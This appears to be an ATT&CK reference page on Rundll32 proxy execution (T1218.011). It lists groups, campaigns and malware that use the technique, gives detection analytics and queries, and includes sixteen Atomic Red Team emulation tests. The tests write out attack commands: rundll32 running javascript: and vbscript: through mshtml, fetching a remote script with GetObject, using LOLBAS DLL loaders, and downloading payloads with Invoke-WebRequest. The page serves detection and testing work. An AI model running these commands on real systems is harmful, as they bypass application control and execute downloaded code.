Storm-0501G1053 ↗
Has launched Cobalt Strike Beacon files with rundll32.exe.1
- Tactic
- Stealth
- Platform
- Windows
- Version
- 3.0
- Created
- 23 January 2020
- Last modified
- 12 May 2026
- Contributors
- Amir Hossein Vafifar; Casey Smith; Gareth Phillips, Seek Ltd.; James_inthe_box, Me; Ricardo Dias
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
26
Threat groupsTop 7%
Threat groups93rd percentile · 93% of ATT&CK techniques have this many threat groups attributed or fewer.8
CampaignsTop 5%
Campaigns95th percentile · 95% of ATT&CK techniques have this many campaigns recorded or fewer.69
Tools & malwareTop 5%
Tools & malware95th percentile · 95% of ATT&CK techniques have this many tools implementing them or fewer.61
Detection rulesTop 3%
Detection rules97th percentile · 97% of ATT&CK techniques have this many detection rules written or fewer.Rundll32 MITRE reference T1218.011
Top 7%of all ATT&CK techniques for number of groups
26 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
UNC3886G1048 ↗
Has used rundll32.exe to execute MiniDump for dumping LSASS process memory.1
RedCurlG1039 ↗
DaggerflyG1034 ↗
Proxied execution of malicious DLLs through a renamed rundll32.exe binary.1
Aquatic PandaG0143 ↗
Used rundll32.exe to proxy execution of a malicious DLL file identified as a keylogging binary.1
LazyScripterG0140 ↗
All 26 groups for this technique · 6 newest in this preview
8 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Water Curupira Pikabot DistributionC0037 ↗
Utilizes rundll32.exe to execute the final Pikabot payload, using the named exports Crash or Limit depending on the variant.1
C0018C0018 ↗
During C0018, the threat actors used rundll32 to run Mimikatz.1
C0015C0015 ↗
During C0015, the threat actors loaded DLLs via rundll32 using the svchost process.1
Operation SpalaxC0005 ↗
During Operation Spalax, the threat actors used rundll32.exe to execute malicious installers.1
Operation Dream JobC0022 ↗
During Operation Dream Job, Lazarus Group executed malware with C:\\windows\system32\rundll32.exe "C:\ProgramData\ThumbNail\thumbnail.db", CtrlPanel S-6-81-3811-75432205-060098-6872 0 0 905.123
SolarWinds CompromiseC0024 ↗
During the SolarWinds Compromise, APT29 used Rundll32.exe to execute payloads.12
All 8 campaigns for this technique · 6 newest in this preview
69 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Troll StealerS1196 ↗
Is dropped as a DLL file and executed via rundll32.exe by its installer.12
KapekaS1190 ↗
Is a Windows DLL file executed via ordinal by rundll32.exe.12
StrelaStealerS1183 ↗
LatrodectusS1160 ↗
Raspberry RobinS1130 ↗
Uses rundll32 execution without any command line parameters to contact command and control infrastructure, such as IP addresses associated with Tor nodes.1
MispaduS1122 ↗
Uses RunDLL32 for execution via its injector DLL.1
All 69 software entries for this technique · 6 newest in this preview
Offense vs defense T1218.011
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 8Sigma rules (cumulative) · 43Splunk ESCU (cumulative) · 18
first rule: 2017 Q2 · 8 of 8 campaigns plottedRundll32 detection strategy DET0475
MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection Strategy for T1218.011 Rundll32 Abuse
1 platform
AN1308 · Windows
Detects rundll32.exe invoked with atypical arguments (.dll, .cpl, javascript:, mshtml). DLLs not normally loaded by rundll32 are mapped into memory. Control_RunDLL or RunHTMLApplication invoked. Suspicious DLLs or scripts accessed from disk or network. Rundll32 reaches out to external domains (e.g., fetching .sct or .hta).
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Module LoadDC0016 | WinEventLog:Sysmon | EventCode=7 |
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| File CreationDC0039 | WinEventLog:Sysmon | EventCode=11 |
| Network Connection CreationDC0082 | WinEventLog:Sysmon | EventCode=3, 22 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Correlating rundll32 invocation with DLL load or network activity within X seconds. |
| ParentProcessFilter | Limit detection to suspicious parent processes (e.g., explorer.exe, office apps) vs. trusted installers. |
| AllowedDLLs | Baseline list of legitimate DLLs frequently executed by rundll32 in the environment. |
| ExternalIPRange | Scope of external IP ranges considered anomalous for rundll32 network connections. |
1 analytic
Adversaries may find it necessary to use Dyanamic-link Libraries (DLLs) to evade defenses. One way these DLLs can be "executed" is through the use of the built-in Windows utility RunDLL32, which allows a user to execute code in a DLL, providing the name and optional arguments to an exported entry point. Windows uses RunDll32 legitimately in its normal operation, but with a proper baseline and understanding of the environment, monitoring its usage could be fruitful.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | exe |
| process | create | command_line |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
When looking for all instances of RunDLL32, it is imperative to also have the command_line information, which contains the DLL information, including the name, entry point, and optional arguments.
process = search Process:Create rundll32 = filter process where (exe == "rundll32.exe") output rundll32
DNIF version of the above pseudocode.
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=rundll32.exe limit 100
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 image="*\rundll32.exe"
Unit tests
CAR’s own validation procedures for this analytic.
Execute rundll32.exe from a command window
["c:\\windows\\syswow64\\rundll32.exe","RUNDLL32.EXE SHELL32.DLL,Control_RunDLL desk.cpl,,0"]
Exploit ProtectionM1050
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.
Tests16Executorscmd 14 · PowerShell 2Need elevation0 of 16Have prerequisites8Have cleanup2Platformswindows
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Rundll32 execute JavaScript Remote Payload With GetObject | windows | cmd | — | — | Yes | ||||||||||||||
Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. This has been used by Win32/Poweliks malware and works as described here Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed. Input arguments
Attack command rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();
Cleanup command taskkill /IM notepad.exe /f GUID8aeedde1-17cc-49e7-b6f3-8adda009e90c | ||||||||||||||||||||
| 02 | Rundll32 execute VBscript command | windows | cmd | — | — | — | ||||||||||||||
Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched Input arguments
Attack command rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
GUIDb986fd61-2ce2-49ba-a003-58cffc296e07 | ||||||||||||||||||||
| 03 | Rundll32 execute VBscript command using Ordinal number | windows | cmd | — | — | — | ||||||||||||||
Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched Input arguments
Attack command rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
GUID466289e4-e967-4b47-9a64-4f4b256b522c | ||||||||||||||||||||
| 04 | Rundll32 advpack.dll Execution | windows | cmd | — | 1 | — | ||||||||||||||
Test execution of a command using rundll32.exe with advpack.dll. Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml Upon execution calc.exe will be launched Input arguments
Attack command rundll32.exe advpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,
Prerequisite Inf file must exist on disk at specified location ("#{inf_to_execute}") Check if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
GUIDe8b4f441-e987-4704-9557-bb3a158b34bc | ||||||||||||||||||||
| 05 | Rundll32 ieadvpack.dll Execution | windows | cmd | — | 1 | — | ||||||||||||||
Test execution of a command using rundll32.exe with ieadvpack.dll. Upon execution calc.exe will be launched Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml Input arguments
Attack command rundll32.exe ieadvpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,
Prerequisite Inf file must exist on disk at specified location ("#{inf_to_execute}") Check if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
GUIDcd83b23f-76bc-42e5-a7e7-479f28d69560 | ||||||||||||||||||||
| 06 | Rundll32 syssetup.dll Execution | windows | cmd | — | 1 | — | ||||||||||||||
Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml Input arguments
Attack command rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 "#{inf_to_execute}"
Prerequisite Inf file must exist on disk at specified location ("#{inf_to_execute}") Check if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
GUIDb17d0f5e-59bf-4793-8cb8-8b9e5f55d7c9 | ||||||||||||||||||||
| 07 | Rundll32 setupapi.dll Execution | windows | cmd | — | 1 | — | ||||||||||||||
Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml Input arguments
Attack command rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 "#{inf_to_execute}"
Prerequisite Inf file must exist on disk at specified location ("#{inf_to_execute}") Check if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
GUIDcd4359c7-fd9f-4572-be5c-1b74a71636aa | ||||||||||||||||||||
| 08 | Execution of HTA and VBS Files using Rundll32 and URL.dll | windows | cmd | — | — | — | ||||||||||||||
IcedID uses this TTP as follows: rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta Trickbot uses this TTP as follows: rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript" Attack command rundll32.exe url.dll,OpenURL "PathToAtomicsFolder\T1218.011\src\index.hta" rundll32.exe URL.dll,FileProtocolHandler "PathToAtomicsFolder\T1218.011\src\akteullen.vbs" GUID6e6f9bff-b44f-459e-b095-69098efe0b8a | ||||||||||||||||||||
| 09 | Launches an executable using Rundll32 and pcwutl.dll | windows | cmd | — | — | — | ||||||||||||||
Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable. Input arguments
Attack command rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}
GUIDe9e832f2-877b-4c1f-8673-782a70081a8f | ||||||||||||||||||||
| 10 | Execution of non-dll using rundll32.exe | windows | PowerShell | — | 1 | — | ||||||||||||||
Rundll32.exe running non-dll Input arguments
Attack command rundll32.exe #{input_file}, StartW
Prerequisite Non-dll file must exist on disk at specified location Check if (Test-Path #{input_file}) {exit 0} else {exit 1}
Satisfy Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
GUID79d41ad5-29e0-4bd5-99ea-fb2d9d1f05b1 | ||||||||||||||||||||
| 11 | Rundll32 with Ordinal Value | windows | cmd | — | 1 | — | ||||||||||||||
Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. Upon successful execution, Calc.exe will spawn. Input arguments
Attack command rundll32.exe "#{input_file}",#2
Prerequisite DLL file must exist on disk at specified location Check if (Test-Path "#{input_file}") {exit 0} else {exit 1}
Satisfy Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
GUID179b47fd-b475-461c-83f4-fd5963ad02f2 | ||||||||||||||||||||
| 12 | Rundll32 with Control_RunDLL | windows | cmd | — | 1 | — | ||||||||||||||
Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. Input arguments
Attack command rundll32.exe shell32.dll,Control_RunDLL "#{input_file}"
Prerequisite DLL file must exist on disk at specified location Check if (Test-Path "#{input_file}") {exit 0} else {exit 1}
Satisfy Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
GUID21b51003-a607-4816-ad6b-59c96944ab1c | ||||||||||||||||||||
| 13 | Rundll32 with desk.cpl | windows | cmd | — | — | Yes | ||||||||||||||
Rundll32.exe loading an executable renamed as .scr using desk.cpl Reference: - LOLBAS - Libraries/Desk SIGMA rules: - SCR File Write Event - Rundll32 InstallScreenSaver Execution Input arguments
Attack command copy #{exe_to_launch} not_an_scr.scr
rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr
Cleanup command del not_an_scr.scr GUIDcf0dec8b-4260-4f8e-9fd2-f085cee2397a | ||||||||||||||||||||
| 14 | Running DLL with .init extension and function | windows | cmd | — | 1 | — | ||||||||||||||
This test, based on common Gamarue tradecraft, consists of a DLL file with a .init extension being run by rundll32.exe. When this DLL file's 'krnl' function is called, it launches a Windows pop-up. DLL created with the AtomicTestHarnesses Portable Executable Builder script. Input arguments
Attack command rundll32.exe #{dll_file},krnl
Prerequisite The DLL file to be called must exist at the specified location (#{dll_file}) Check if (Test-Path "#{dll_file}") {exit 0} else {exit 1}Satisfy New-Item -Type Directory (split-path "#{dll_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "#{dll_url}" -OutFile "#{dll_file}"
GUIDa114d789-41b6-481c-b7df-d10c5af9459a | ||||||||||||||||||||
| 15 | Rundll32 execute command via FileProtocolHandler | windows | cmd | — | — | — | ||||||||||||||
Test execution of a command using rundll32.exe and the FileProtocolHandler technique. Upon execution, calc.exe will be launched. This technique is documented by Levan Abesadze - https://medium.com/@Wolverineisstillalive/system-binary-proxy-execution-rundll32-bypass-method-790871e1f2b7 Input arguments
Attack command rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}
GUIDf1931ab7-9902-4065-995b-8b245e91b405 | ||||||||||||||||||||
| 16 | Rundll32 execute payload by calling RouteTheCall | windows | PowerShell | — | — | — | ||||||||||||||
Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched. Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml Input arguments
Attack command rundll32.exe zipfldr.dll,RouteTheCall "#{exe_to_launch}"GUID63d23fb5-d504-4b5e-9977-46f370bd5e6b | ||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition